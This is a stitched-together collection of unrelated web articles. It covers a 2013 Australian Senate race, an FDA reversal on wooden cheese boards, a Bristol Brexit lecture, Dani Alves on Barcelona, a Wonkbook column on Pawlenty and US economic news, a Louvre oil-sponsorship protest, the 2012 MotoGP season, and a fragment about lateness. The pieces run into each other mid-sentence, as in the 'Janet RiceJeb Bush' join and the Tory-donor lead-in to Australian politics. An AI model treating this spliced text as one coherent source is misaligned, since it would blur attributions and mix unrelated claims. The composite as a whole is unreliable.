This time it looks like we will face more agency fees flooding out of schools and hospitals, as a major Tory donor cashes in on recruitment problems in the NHS and education.
@SolHughesWriter
Previously: David Cameron's Former Advisor Joined an NHS Privatisation FirmLIBERAL heavyweight Arthur Sinodinos has warned an incoming Coalition government's agenda would be put at risk if he was ousted by a right-wing fringe party in the tumultuous NSW Senate race.
As polls yesterday showed billionaire Clive Palmer's party looked set to clinch a Queensland Senate seat, the Liberal Democrats claimed they would take votes "any way we can" after Liberal complaints over alleged pre-poll confusion with its similar name. Senator Sinodinos is set to be catapulted into cabinet as finance minister if the Coalition win this weekend but the Senate race in NSW is shaping as one of the most controversial. Amid claims the 110 candidates, massive voting sheet and accompanying magnifying glass render the voting system an "international disgrace", minor right wing parties have struck preference deals to put One Nation candidate Pauline Hanson ahead of Senator Sinodinos. The former chief-of-staff to John Howard is third on the Coalition ticket behind Marise Payne and John Williams. PLAY NOW: Catch a vote for Kevin and Tony in 60 seconds The preference deals could also catapult the Shooters Party or Liberal Democrats candidate David Leyonhjelm into the sixth Senate seat. Sources say NSW Liberal headquarters is campaigning heavily in safe Labor Lower House seats in bid to lift the party's overall Senate vote and protect Senator Sinodinos. The Liberals have also appealed to the Electoral Commission claiming pre-polling has shown some people accidentally voting for the LDP instead of the Liberals. Mr Leyonhjelm yesterday said it would also strip votes off the Liberals due to holding position A on the paper, which had historically helped the Democratic Labor Party against Labor. "We think the Liberals are a bit thin-skinned about our name," he said. "We will take (votes) any way we can. We'd prefer everyone believes in small government and small taxes, though.'' But Senator Sinodinos told News Corp Australia he was advising people to vote above the line to maximise the overall Liberal vote and get himself elected. Senator Sinodinos brushed aside questions of Ms Hanson, saying his opponent was Labor. "Whether it is Hanson or any other microparty, those parties would frustrate our agenda," Senator Sinodinos said. "We need to make sure we get as many Liberals and Nationals in the Senate to prosecute our agenda on the carbon tax, mining tax and border control." Ms Hanson also faces ballot paper issues, being on the far right of the huge page making it difficult to find her in a small polling booth. Acknowledging the risk to Senator Sinodinos, ABC election analyst Antony Green said the Coalition won't control the Senate overall but the Greens would "almost certainly" lose the balance of power. Mr Green said the size of the NSW ballot paper was an "international disgrace". In Victoria, the Liberal's third spot, held by Senator Helen Kroger, is also under threat from Family First. In Queensland, Katter's Australian Party is considered a chance at picking up a seat with country singer James Blundel. But Mr Palmer's Palmer United Party yesterday emerged as a force, with a Nielsen Poll putting it on eight per cent primary vote in the state, the same level of The Greens. It's number one candidate is former rugby league star Glenn Lazarus. In South Australia, Greens Senator Sarah Hanson-Young is at risk of her losing spot, depending on how Independent Senator Nick Xenophon polls. STATE OF PLAY Incumbents NSW Coalition Marise Payne John Williams Arthur Sinodinos Labor Bob Carr Doug Cameron Ursula Stephens Threats One Nation Pauline Hanson Greens Cate Faehrmann Shooters Party Karl Houseman Liberal Democrats David Leyonhjelm QUEENSLAND Incumbents LNP Ian MacDonald James McGrath (replacing retiring Ron Boswell) Matthew Canavan (replacing retiring Sue Boyce) Labor Chris Ketter (replacing retiring John Hogg) Claire Moore Mark Furner Threats Greens Adam Stone Katter's Australian Party James Blundell Palmer United Party Glenn Lazarus VICTORIA Incumbents Labor Gavin Marshall Jacinta Collins Coalition Mitch Fifield Scott Ryan Helen Kroger Threats Family First Ashley Fenn Greens Janet RiceJeb Bush wasn’t my first, second, or third |
the CDC warned that Ebola infections in West Africa could hit 1.4 million by the end of January if current trends continue and no immediate, large-scale increase in response measures is taken.
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Comment on this articleJust days after the Food and Drug Administration announced a ban on wooden boards for ageing cheese, they've completely reversed their stance.
On Tuesday, June 10, the FDA deemed that wooden boards were somehow intrinsically "unsanitary" for use during the cheesemaking process, despite thousands of years of humans using them for that explicit purpose. Good news for lovers of cheese, though: today, the FDA entirely and unequivocally reversed that decision. Basically, and I do not mean this in a negative way, everyone who knows anything about cheesemaking shouted at them that they were being stupid until they agreed to slow their roll. According to Wisconsin cheesemaker Chris Roelli, who knows a hell of a lot more about this than you or I do:
"Wood is a living thing, and cheese is a living thing, and when you combine them it creates a microbiological environment for the cheese. It imparts a flavor, and creates an environment for a healthy rind to grow on the cheese. Basically, it's a catalyst for beneficial bacteria to grow on the outside of that cheese to essentially prevent the bad mold and allow the good mold to grow. Thirdly is the humidity factor — the boards are acclimated to a certain humidity. The wood holds its own humidity and slows out the drying of the cheese."
Really, you'd think if wooden boards were really THAT unsanitary, we would've figured it out before now since we've had millenia of practice making cheese. This isn't the first time the FDA has jumped to conclusions, nor is it the most insane (that honor probably goes to the time the FDA tried to claim walnuts and cherries were drugs while still allowing Frito-Lay to market its chips as "heart healthy"), but it's still a hell of a head-scratcher. It seems like most non-Kraft singles forms of cheese (hahaha, we're calling Kraft singles "cheese") at least benefit from wooden-board aging, and as Thrillist notes, some even require it. Given that, it's good to see that the FDA has listened to reason with what, for a government agency, is shocking speed.
Rest easy, cheese-lovers: your wheels are safe. For now.
Image via racorn/Shutterstock.Issue date: 13 January 2016
Britain, Business and Europe 2016 Series
To register
Sir Stephen Wall, the former foreign policy advisor to John Major and Tony Blair, sets out his thoughts on Britain's often difficult relationship with Europe and why it matters to British business and the UK economy at UWE Bristol's Exhibition and Conference Centre, on Wednesday 20 January 2016.
The event forms part of a series of special events during 2016 discussing Britain, Business and Europe, is hosted by UWE Bristol in collaboration with Business West.
In the half century since the British Government first applied to join the European Community, British membership has been a matter of ceaseless controversy. Why? And what implications does this have on our long term economic interest and the UK's global influence?
Sir Stephen will discuss why the British find the EU so hard to swallow and why the idea of 'leaving Europe' dominates political discussion in a way that is unique among European nations. The United Kingdom is the only Member State ever to have had a referendum on whether to stay in only two years after joining. Why are we now the only Member State which seriously contemplates leaving? Why do other Member States think we treat them less as partners than as adversaries? What risks does this pose to our economy and global influence?
This year is likely to see a referendum on the UK's membership of the European Union. Companies across the South West will find themselves part of a passionate debate with potentially far reaching consequences for the environment in which they do business. Sir Stephen's insider and long term view will shed light on the dilemma facing voters, businesses and politicians and help stimulate debate on what the referendum vote means for the UK.
Series organiser, UWE Bristol's Professor Nicholas O'Regan says, “We're delighted to welcome Sir Stephen Wall to get our 2016 Bristol Distinguished Address Series off to a flying start with one of the year's hot political debates – the Brexit referendum. This series has become a popular event for the Bristol business community, with the opportunity to network and hear directly from inspirational figures in industry with a wealth of strategic experience and leadership skills at the highest level.”
Phil Smith, Managing Director, Business West, says, “This event launches a series of events to better inform the business community about the European Union and the referendum debate. We are lucky to have such an experienced, informed and respected speaker to help kick off what promises to be a full and passionate year of discussions.
“When we surveyed nearly a thousand local businesses last year, two thirds believed that leaving the European Union could pose a direct risk to their own business. This demonstrates that for many South West firms the referendum is not an abstract question, but one with real and personal consequences. Our members also strongly felt the need for a better informed debate with more detailed information about the costs and benefits of the European Union. Sir Stephen's visit is the perfect way to start this business discussion on Europe.”
The Bristol Distinguished Address Series is delivered by the Bristol Business School in partnership with ACCA,Bristol City Council, Bristol Junior Chamber, Bristol Post, Business West, CBI, CMI, FSB, IoD, ICAEW and the West of England LEP.
Discuss this event on Twitter using the hashtag #BristolLectures.Dani Alves believes Barcelona's "machines" are capable of producing a stunning turnaround in their Champions League last-16 tie with Paris Saint-Germain.
Luis Enrique's side were thrashed 4-0 in the French capital on Tuesday to leave their hopes of reaching the quarter-finals for a 10th season in a row hanging by a thread.
The insipid nature of Barca's display - and the lack of an away goal - in what was their joint-heaviest defeat in the competition left even Neymar to concede that their chances of overturning the deficit in the second leg at Camp Nou are remote.
But Dani Alves, who lifted the trophy three times in a glittering Barca career, does not consider the task to be hopeless.
"It's very tough to come back, not because Barca can't but because of the quality of their opponents," the Juventus full-back told Sport. "They press, they don't let you play.
"I always want them to do as well as possible. In football, anything can happen. If anyone can produce a comeback, it's the Barca machines."Republican presidential hopeful, former Minnesota Gov. Tim Pawlenty delivers a policy address at the University of Chicago Harris School of Public Policy in Chicago June 6. (Paul Beaty/AP)
Tim Pawlenty's book is titled "The Courage to Stand." The theme of his speaking tour is called "Tell the Truth." But the message in his big economic speech yesterday went down pretty easy, at least for the Republican faithful. Pawlenty promised that substantially cutting taxes would increase economic growth by 150 percent and reduce the deficit by 40 percent. Some hard truth. Next you'll deliver the bad news that if I stop paying my mortgage, my income will grow twice as fast, the bank will pay off half my loan and I'll be able to use the savings to redo my kitchen. Or perhaps you'll sit me down to explain the bad news that eating more pie will stimulate my metabolism and help me lose weight. Ooh, I'm really going to resent you for that one!
To be fair, after riffing on his willingness to deliver hard truths all over the country, Pawlenty does admit that the "the truth about our economy isn’t hard at all." But here's the pity: he's wrong on that, too. The truth is hard. A GOP contender delivering "the hard truth" would sound something like this:
"We've got two problems. A jobs crisis now and a debt crisis soon. Easing the jobs crisis now requires doing something that feels wrong, that polls poorly, but that's economically right: increasing the deficit by even more. So I'm proposing a full payroll tax cut -- both on the employer and the employee sides -- till unemployment returns to 7 percent. I'm also starting up a major infrastructure-rebuilding effort. We've got trillions of work to do in this country and lots of construction workers who've had nothing to do since the crisis. This is money we're going to have to spend sooner or later, so better to spend it now, when it can also help the economy, rather than later, when it won't have any macroeconomic impact."
"But stimulus isn't free. If Democrats want me to sign that bill -- and they will -- every dollar of stimulus needs to be accompanied by four dollars of deficit reduction between 2013 and 2022. I know my Republican friends won't like this, but some of that money, in the end, will have to come from revenues. Not most of it. Not half of it. But some of it. The responsibility of Republicans isn't to oppose all tax increases at all times, but dumb tax increases at any time. So those revenues won't come from hiking marginal rates. They're going to have to come from cutting tax breaks and closing loopholes because, as even Republican economists will tell you, smoothing out the tax code doesn't have the anti-work incentive of increasing the taxes people pay on the last dollar they earn."
"Unfortunately, I can't tell you this'll solve all our problems. The Obama administration made the mistake of saying their stimulus plan would head off the recession before they even knew how big the recession was. They've paid for that dearly, as they should've. My plan won't end our jobs crisis. It'll help. But much in the economy is outside of the government's control, and one difference between Republicans and Democrats is that we Republicans know that. As for deficit reduction, my plan will work, but it will hurt. Real spending cuts mean hitting programs people like and use, and closing tax loopholes and shaving tax breaks mean that many Americans, some middle class, will pay a bit more in taxes."
Would every Republican voter like that? Of course not. But that's what makes it the hard truth.
Five in the morning
1) Sen. John Kyl has issued the GOP's demands on a debt limit deal, reports Felicia Sonmez: "The Senate’s No. 2 Republican on Tuesday spelled out GOP leaders’ conditions in the negotiations over reducing the federal deficit, offering the most specific outline of the party’s demands thus far. Minority Whip Jon Kyl (Ariz.) told reporters that Republicans want $2.5 trillion in budget savings in exchange for voting to raise the country’s $14.3 trillion borrowing limit through the end of next year. 'You’d have to do about $2.4 trillion in debt ceiling,' Kyl said, 'which means you’d have to be about $2 1/2 trillion -- at a minimum -- in savings.'...Kyl’s remarks Tuesday were an indication that GOP leaders are looking to tackle the issue all at once, although he said a piecemeal approach remains a possibility."
2) Tim Pawlenty unveiled his economic plan in a policy speech: "Let’s start with a big, positive goal. Let’s grow the economy by 5%, instead of the anemic 2% currently envisioned. Such a national economic growth target will set our sights on a positive future. And inspire the actions needed to reach it. By the way, 5% growth is not some pie-in-the-sky number. We’ve done it before. And with the right policies, we can do it again...5% economic growth over 10 years would generate 3.8 trillion dollars in new tax revenues. With that --- we would reduce projected deficits by 40%. All before we made a single budget cut."
And it's...absurd. My take: "One small problem, though: There is no economist anywhere who knows how to add three percentage points to the country’s growth. Goosing economic growth over any long period is is hard enough when you’re talking about a tenth or two of a percent. Three percentage points? I’ve never seen anyone make that sort of a claim...Pawlenty says he wants '5 percent growth.' Later in his piece, he specifies 'five percent economic growth over 10 years.' And his evidence that 'it’s been done before'? Two periods in which growth was under five percent and held there for less than five years. So even in his handpicked examples, Pawlenty can’t come anywhere close to his target.
3) Ben Bernanke thinks the current growth dip is temporary, reports Neil Irwin: "The recent slowdown in the U.S. economy is being driven by temporary factors, and growth is likely to accelerate later in the year, Federal Reserve Chairman Ben S. Bernanke said Tuesday. The Fed chairman gave no indication that signs of economic weakness over the past few weeks, including a disappointing report on the job market Friday, will lead the central bank to consider new steps to try to boost growth, such as a third round of injecting billions into the economy by buying Treasury bonds...Bernanke in effect argued that the things holding back the U.S. economy will not be fixed by the central bank printing even more money....Bernanke did offer a warning -- that seemed to be aimed at some Republicans in Congress -- that cutting federal spending too quickly could undermine growth."
4) The Senate will vote today on a bank-backed bill to delay swipe fee rules, reports Ylan Mui: "After months of intensive lobbying by banks, the Senate is slated to vote Wednesday on a controversial bill that would delay changes to debit-card swipe fees that would cost the industry billions of dollars. Sen. Jon Tester (D-Mont.) unveiled revised legislation Tuesday that requires four banking regulators to study the issue for six months. The Federal Reserve would then have an additional six months to rewrite the rules governing swipe fees...The debate centers on the fees that merchants must pay banks each time a debit card is swiped. They average is between 1 and 2 percent of each purchase and totaled $16.9 billion in 2009, according to the Fed. The proposed regulations would reduce the fees by roughly 70 percent to a maximum of 12 cents a swipe."
5) Senate Democrats think Harry Reid isn't doing enough, reports Manu Raju: "A growing number of Senate Democrats are anxious about the lack of a Democratic budget and the unusually slow legislative agenda, creating another headache for Majority Leader Harry Reid as he tries to protect his majority ahead of a daunting election year. 'On the budget front, I’m not a happy camper around here,' California Sen. Dianne Feinstein told POLITICO. 'I think we need to have a budget that we stand by.' 'In the states, you can’t do this in the states -- you’ve got to move,' said West Virginia Sen. Joe Manchin, a former governor up for reelection next year. 'We’re hoping we will.' Not having a budget, Arkansas Sen. Mark Pryor said,'makes it harder to do things that we just need to do -- there are people talking about an education bill, a highway bill -- a lot of other things you just don’t know how much you have to spend.'"
Maryland rock interlude: Wye Oak plays "My Neighbor" live.
Got tips, additions, or comments? E-mail me.
Still to come: Tim Geithner is the last original Obama economic adviser standing; a McKinsey study suggests many employers will drop coverage as health reform takes effect; a bill reducing the number of appointments requiring Senate confirmation is set to pass; OPEC is split on increasing oil production; and the world's most adorable Glee fan.
Economy
Tim Geithner is the last member of Obama's initial economic team remaining, reports Zachary Goldfarb: "Geithner has not only survived but quietly gained influence, which he has used to press President Obama to curb the nation’s soaring debt even at the expense of spending that might more directly spur employment...Geithner has successfully pressed Obama to announce a plan to reduce the deficit by $4 trillion, though the president ultimately proposed doing it in 12 years rather than 10, as the Treasury secretary wanted. And Geithner has argued for an approach that would include tax increases, spending cuts and politically explosive changes to government retiree programs like Social Security and Medicare. 'He pushes the envelope,' William Daley, Obama’s chief of staff, said in an interview. 'The debate has a political piece that brings us back a little from what Tim may be advocating.'"
State attorneys general are split on how to negotiate a foreclosure deal, reports Brady Dennis: "As state attorneys general continue their months-long settlement negotiations with the nation’s largest banks over widespread problems in foreclosure practices, they have yet to resolve differences within their own group on key issues. Even within the 14-member 'executive committee' of attorneys general who are leading the 50-state coalition, some have very different visions of what exactly a settlement should look like. Florida’s Pam Bondi, for instance, has joined a handful of other Republican attorneys general in arguing against forcing banks to lower loan balances for troubled homeowners...New York’s Democratic attorney general, Eric Schneiderman, meanwhile, has joined other states in pushing for stiff penalties for the firms involved, which include Bank of America and Wells Fargo."
Germany's state visit showcases a recovery method that worked, reports Jia Lynn Yang: "At the White House on Tuesday, German Chancellor Angela Merkel represented a country that boasts the very things President Obama desperately wants as he seeks reelection: record-low unemployment, a strong manufacturing base, and growth that has returned to levels from before the global recession. Although U.S. policymakers say they’re running low on ammunition to jump-start the economy, the German government has been aggressively instituting policies aimed at protecting jobs -- and they’ve worked. The difference, say some experts, is that the German government has been unafraid to pursue policies that induce companies to preserve high-paying jobs and boost exports, embracing two words that can make lawmakers in Washington recoil: industrial policy."
Wal-Mart is running up against a global union campaign, reports Ylan Mui: "Retailing giant Wal-Mart faced an unusual request when it sought government approval recently to buy a chain of stores in South Africa. Labor groups there first asked for traditional protections, such as job security and a commitment from the new managers to buy merchandise from local suppliers. Then they called on Wal-Mart to end its long-running battle with unions thousands of miles away in the United States...Its employees are not unionized in the United States, where the retailer has become infamous for its staunch opposition to labor groups...But in the United Kingdom, Wal-Mart touts a growing roster of union employees and has negotiated contracts with entrenched labor groups in Brazil and Argentina for decades...Union organizers are pushing for a unified approach to the retailer’s 2 million workers around the world."
The economy is worse than you think, writes Martin Feldstein: "The policies of the Obama administration have led to the weak condition of the American economy. Growth during the coming year will be subpar at best, leaving high or rising levels of unemployment and underemployment. The drop in GDP growth to just 1.8% in the first quarter of 2011, from 3.1% in the final quarter of last year, understates the extent of the decline. Two-thirds of that 1.8% went into business inventories rather than sales to consumers or other final buyers. This means that final sales growth was at an annual rate of just 0.6% and the actual quarterly increase was just 0.15%--dangerously close to no rise at all. A sustained expansion cannot be built on inventory investment. It takes final sales to induce businesses to hire and to invest."
The US could learn a lot from Germany, writes David Leonhardt: "Germany has been far more willing than the United States to use the power of government to help its economy. Yet it has also been more ruthless about cutting wasteful parts of government. The results are intriguing. After performing worse than the American economy for years, the Germany economy has grown faster since the middle of last decade. (It did better than our economy before the crisis and has endured the crisis about equally). Just as important, most Germans have fared much better than most Americans, because the bounty of their growth has not been concentrated among a small slice of the affluent. Inflation-adjusted average hourly pay has risen almost 30 percent since 1985 in Germany, the kind of gains American workers have not enjoyed since the ’50s and ’60s. In this country, hourly pay has risen a scant 6 percent since 1985."
History won't judge Obama's economic performance kindly, writes Harold Meyerson:When historians look back at how Barack Obama lost the 2012 election -- or won it only because the Republicans nominated a certifiable space case -- they will doubtless focus on his first few months in office and ponder why he didn’t do more to stanch the recession and arrest the downward mobility of the American people...By mid-2011, it was clear that Obama had done little to address the nation’s fundamental economic problems. As had not been the case during previous recoveries, America’s major corporations and banks were investing abroad rather than at home. Unemployment still exceeded 9 percent. Almost all the growth the nation had experienced since the economy bottomed out in mid-2009 had gone to profits; wages during that time actually declined."
On economic issues, there's a Good Mitt Romney and a Bad Mitt, writes Steven Pearlstein: "The Good Mitt has a firm grasp of what’s wrong with the current health-care system, acknowledges the culpability of Wall Street and the private sector in causing the financial crisis, and even admonishes fellow Republicans for being 'overly fond of bashing regulation as the constant enemy of growth and competition.'...But just when you’re beginning to think maybe you’ve misjudged the guy, the Bad Mitt jumps in and grabs the keyboard. Suddenly we’re asked to believe that less than 10 percent of the Obama stimulus funds created any jobs in the private sector, as if the money that goes to pay the salaries of state workers or finance public works projects winds up in a black hole rather than circulating through the economy."
Animated short interlude: Garson Hampfield, Crossword Inker.
Health Care
A report suggests many employers will drop coverage as health reform is implemented, reports Janet Adamy: "A report by McKinsey & Co. has found that 30% of employers are likely to stop offering workers health insurance after the bulk of the Obama administration's health overhaul takes effect in 2014. The findings come as a growing number of employers are seeking waivers from an early provision in the overhaul that requires them to enrich their benefits this year. At the end of April, the administration had granted 1,372 employers, unions and insurance companies one-year exemptions from the law's requirement that they not cap annual benefit payouts below $750,000 per person a year. But the law doesn't allow for such waivers starting in 2014, leaving all those entities--and other employers whose plans don't meet a slate of new requirements--to change their offerings or drop coverage."
I'm skeptical : "The Massachusetts reform was a good test case, as it also carried the combination of new options for workers and an easy opt-out for employers. So what happened? Employer-based coverage is now more prevalent in Massachusetts than it was before the law was passed. So much as employers might be theoretically interested in getting out of the health-care business, that’s not an easy conversation for them to have with their employees. Never underestimate the power of the status quo. But let’s say McKinsey is right and employers begin dropping workers by the millions. That would leave us with two options: We could stop it from happening by passing a strong employer mandate, or we could embrace it as a long-overdue opportunity to move beyond the employer-based health-care market. It might even be a chance to convert the tax break for employer-based insurance into a refundable tax credit that everyone gets, no matter their employment status. That’s long been a hope of conservatives — both John McCain and Paul Ryan have proposed versions of it — and so long as it happens in the context of a reformed system where consumers are protected, insurers are regulated, and risks are pooled, it’d be very good policy."
Domestic Policy
A bill reducing the number of appointments requiring Senate confirmation looks set to pass, reports Al Kamen: "There’s good news for some not-so-top-tier nominees. Headed for passage in the Senate: measures that would lift confirmation requirements for some 200 full-time positions and put 240 part-time posts on boards and commissions on a fast track to passage. The bipartisan legislation -- supported by Reid and Senate GOP leader Mitch McConnell (Ky.) as well as Senate rules committee Chairman Chuck Schumer (N.Y.) and ranking Republican Sen. Lamar Alexander (Tenn.) -- could be adopted as early as this month. The House has to pass one of the measures, but prior indications are that it will defer to the Senate’s lead."
A federal judge affirmed his ruling against the ban on corporate donations, reports Robert Barnes: "A judge in Virginia on Tuesday affirmed his ruling that the federal ban on direct corporate contributions to political candidates is unconstitutional, turning down the government’s request that he reconsider. U.S. District Judge James Cacheris said in the new opinion that it applies only to the case at issue, involving two men accused of making illegal donations to the 2006 Senate and 2008 presidential campaigns of Secretary of State Hillary Rodham Clinton (D). But Cacheris rejected the government’s arguments that the Supreme Court’s 2010 decision in Citizens United v. Federal Election Commission only freed corporations and unions to make independent expenditures on behalf of candidates."
John Barrasso is leading the campaign against Obama's Commerce nominee, reports Darren Goode: "Sen. John Barrasso (R-Wyo.) is leading a Senate Republican charge against President Barack Obama’s pick of former environmentalist and utility executive John Bryson to head the Commerce Department. Barrasso gave fellow Republicans a one-pager at their policy lunch Tuesday -- with the heading 'Mismatched: John Bryson & the Commerce Department' -- citing his founding of the 'extreme environmental organization' the Natural Resources Defense Council and his support of the cap-and-trade bill House Democrats passed in 2009. 'Instead of appointing a truly an economic leader, he has appointed an environmental extremist,' Barrasso told reporters after the lunch."
Polarization is a voluntary process, writes Peter Orszag: "If redistricting isn’t the primary force behind polarization, what is? One crucial cause, as documented in “The Big Sort,” a path-breaking book by Bill Bishop and Robert Cushing, is increased residential segregation by political party. We are voluntarily separating ourselves into Republican and Democratic neighborhoods. Today’s media and blogosphere, which increasingly filter news according to their point of view, exacerbate and reinforce the effect...The consequences are far-reaching. The social psychology literature clearly shows that when like-minded people are put together, they move to extremes -- both because they rarely hear opposing viewpoints and because each person is at least somewhat inclined to prove he is the true believer in the group."
Adorable children singing Katy Perry interlude: A kid imitates the Glee performance of "Teenage Dream".
Energy
OPEC is split on increasing oil production, report Summer Said and John Biers: "Some Middle East oil powerbrokers, led by Saudi Arabia, are quietly pressing ahead with a plan for OPEC to boost output, as the group headed into what appeared to be its most uncertain meeting in years. Key officials of the Organization of Petroleum Exporting Countries, most notably Saudi Arabia's oil minister, Ali Naimi, stayed unusually silent ahead of Wednesday's meeting, a sign that a solid consensus hadn't been reached Tuesday amid a complex political and economic environment. OPEC members are squaring off over the fundamental question of whether the global economy--showing signs of weakness, especially in the oil-hungry U.S.--needs to be supplied with more crude in coming months. Some OPEC members, led by the Saudis, have pushed for a production increase in the belief that demand will rise in the second half of the year."
EPA critics dominate news coverage, report Robin Bravender and Patrick Reis: "Viewers of television news shows are getting a heavy diet of opposition to Obama administration climate policies, thanks mainly to skewed coverage on Fox, according to a report out Tuesday from the liberal-leaning group Media Matters. More than three-quarters of guests who discussed EPA climate rules on major television news channels between late 2009 and April 2011 spoke against the EPA’s greenhouse gas regulations, according to the analysis. And largely, Fox News and Fox Business are driving the disparity...the report also faults coverage on some other networks -- for example, calculating that CNBC featured eight Republicans and zero Democrats in discussions of EPA greenhouse gas regulations during the period studied."
New Jersey is backtracking still further on climate change, reports Mireya Navarro: "Gov. Chris Christie said Tuesday that he planned to scale back New Jersey’s goals for renewable energy as he looked for an 'achievable' approach to generating electricity in the state. His change is part of an overhaul of the state’s 10-year energy master plan, which had been expected since last year, when he asked the New Jersey Board of Public Utilities to evaluate renewable energy targets he found too aggressive. But after his decision last month to withdraw from a multistate trading system, the Regional Greenhouse Gas Initiative, environmental advocates called the move another setback undermining the state’s leadership on energy initiatives. Public hearings will be held on the plan before it becomes final."
Clean energy projects are dangerously land-intensive, writes Robert Bryce: "to have 8,500 megawatts of solar capacity, California would need at least 23 projects the size of Ivanpah, covering about 129 square miles, an area more than five times as large as Manhattan. While there’s plenty of land in the Mojave, projects as big as Ivanpah raise environmental concerns...Wind energy projects require even more land. The Roscoe wind farm in Texas, which has a capacity of 781.5 megawatts, covers about 154 square miles. Again, the math is straightforward: to have 8,500 megawatts of wind generation capacity, California would likely need to set aside an area equivalent to more than 70 Manhattans. Apart from the impact on the environment itself, few if any people could live on the land because of the noise."
Closing credits: Wonkbook is compiled and produced with help from Dylan Matthews and Michelle Williams.Ten activists have been arrested inside the Louvre in Paris after protesting against oil sponsorship of the museum.
The group, clad in black, walked barefoot through an “oil spill” created by molasses poured on the museum’s marble floor. Meanwhile, hundreds of artists and activists gathered by the pyramid outside the museum with black umbrellas painted in white with the words “fossil free culture”.
The action took place on Wednesday as crunch UN climate change talks continue in the northern suburbs of the capital and amid an ongoing ban by French authorities on public demonstrations imposed in the wake of recent terrorism attacks in the city.
While many activist groups have respected the ban and found creative ways around it, hundreds of protesters were arrested ahead of the talks. French police have ejected peaceful activists from key events and conducted house arrests on those they suspect may flout the ban.
✌☮#UpTheRebels☮✌ (@Chara_fc) Activists protest outside the #Louvre pyramid,calling the museum to cancel its contracts with #Total+#Eni,#COP21 pic.twitter.com/EX85ULB2lq
Campaign groups from the US, UK, Norway and Brazil came together for the action to call on the museum – one of the world’s largest – to end its sponsorship deals with major oil companies Total and Eni.
Chris Garrard, of the British protest group Art not Oil, was co-ordinating the protest outside the museum. He told the Guardian: “We are collectively trying to liberate cultural institutions from corporate interference. When oil companies sponsor art institutions those museums and galleries are actually sponsoring the oil companies as well.
“They are giving them the social legitimacy they don’t deserve and helping them to clear up their brand image. The COP21 negotiations you have still got the oil companies in there – we need them out of COP21 and we need them out of our cultural institutions.”
New Internationalist (@newint) BREAKING: 10 performers arrested after spilling 'oil' in Louvre due 2 dirty oil sponsors #fossilfreeculture #NICOP21 pic.twitter.com/MYZFwXW5rf
Total is currently sponsoring an exhibition called A Brief History of the Future, which the Louvre describes as “one of the most anticipated” of 2015.
In a statement about the partnership on the website, Eni said:
“In recent years, the relationship between business and society has changed, reflecting the transformation of the community in which we live. Convinced that the world of culture in general is a fundamental element for growth and development of the company, Eni is committed to the promotion and support of various cultural projects...
“The relationship with the Louvre began in 2008 through the support of the exhibition ‘Mantegna’. The collaboration was so successful that the following year, Eni decided not only to renew the alliance but also to sign a partnership agreement with the French institution that qualifies Eni of ‘outstanding patron of the Louvre’ with its name permanently etched in the famous Pyramid.”
The Louvre could not be reached for comment at time of the publication.The 2012 Grand Prix motorcycle racing season was the 64th F.I.M. Road Racing World Championship season. Casey Stoner started the season as the defending World Champion, while Honda was the defending Manufacturers' Champion.[1] Moto2 champion Stefan Bradl joined the MotoGP grid with LCR Honda[2] and 125cc champion Nicolás Terol entered Moto2, racing for Aspar.[3]
In the premier MotoGP class, the championship battle revolved around Yamaha rider Jorge Lorenzo and Honda pairing Dani Pedrosa and defending champion Stoner. Lorenzo won four of the first six races to be held in the campaign to open up an advantage over Stoner, before he was taken out of the Dutch TT on the first lap by Álvaro Bautista; Stoner won the race to eradicate the points lead.[4] In the next race, Stoner crashed out of the German Grand Prix on the final lap and allowed Pedrosa to take his first win of the season.[5] Stoner struggled in the next few races – despite a victory at the United States Grand Prix[6] – with his championship challenge ended by a qualifying crash at Indianapolis. After ankle surgery,[7] he returned to the series and won his final race of his career at his home race, the Australian Grand Prix, for the sixth successive season.[8] Pedrosa went on a run of five victories in six races, with the streak being interrupted by a first-lap crash at Misano, where he was taken out by Héctor Barberá.[9] Lorenzo finished second to Pedrosa on each occasion that he had won, and he took advantage of Pedrosa's accident to win at Misano.[10] Lorenzo ultimately won the title with a second-place finish to Stoner in Australia, after Pedrosa had crashed out of the lead early on.
In the other classes, Marc Márquez won the Moto2 championship title after a season-long battle with fellow Spanish rider Pol Espargaró; a third-place finish for Márquez at the Australian Grand Prix – despite a win for Espargaró[11] – was enough to give him his second world title before moving into the premier class for the 2013 season.[12] He took his last victory in the class at the Valencian Grand Prix, the last event of the season, despite starting from 33rd on the grid. This performance, which included overtaking 20 bikes on the first lap alone, meant the biggest comeback in the sport's history.[13] Márquez's result was enough to give Suter the constructors' title for the class. The inaugural Moto3 world championship title went to German rider Sandro Cortese, following his fourth victory of the season at the Malaysian Grand Prix,[14] which gave him an unassailable points lead over his two title rivals Luis Salom and Maverick Viñales in the championship race.[15] Cortese also became the first rider to win any Grand Prix title for the Austrian manufacturer KTM.[16] KTM also won the constructors' championship at the Australian Grand Prix, doing so after Cortese won the race.
Changes [ edit ]
Class changes [ edit ]
The MotoGP class saw the introduction of engines with 1,000 cc (61 cu in) in capacity, with a limit of 4 cylinders and a maximum 81 mm (3.2 in) cylinder bore.[17]
The 2012 season also saw the introduction of four-stroke bikes in the new Moto3 class.[18]
Claiming Rule Teams [ edit ]
In 2012 the MotoGP class saw the introduction of Claiming Rule Teams (CRT) to allow for participation by independent teams with lower budgets. CRTs were given twelve engines per rider, six more than the other teams and more fuel – 24 litres (5.3 imperial gallons) instead of 21 litres (4.6 imperial gallons) – but were subject to a factory team buying, or "claiming", their engines for €15,000, or €20,000 with the transmission.[19] The sport's governing body received applications from sixteen new teams looking to join the MotoGP class.[20]
New entries [ edit ]
In June 2011, the FIM announced that six teams from Moto2 – Interwetten Paddock, Forward Racing, Marc VDS, Kiefer Racing, Speed Master and BQR-Blusens (later renamed Avintia Racing)[21] – had been granted entries to the 2012 grid;[22] two additional entries – Paul Bird Motorsport[23] and Ioda Racing[24] – announced that they had been accepted to the grid, running under CRT regulations. However, Interwetten Paddock, Marc VDS, and Kiefer Racing were absent from the revised grid released by FIM in January 2012.[25]
2012 Grand Prix season calendar [ edit ]
The following Grands Prix were scheduled to take place in 2012:[26][27]
The Fédération Internationale de Motocyclisme released an 18-race provisional calendar on 14 September 2011.[28] Another provisional calendar was released three months later, with the Qatar Grand Prix moved forward by a week.[29]
‡ = Night race † = MotoGP class only †† = Saturday race
Calendar changes [ edit ]
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late can lead to a domino effect of bad consequences including being labeled as not dependable, irresponsible or untrustworthy, missing deadlines, lost wages, lost clients, and can even lead to you loosing your job all together.
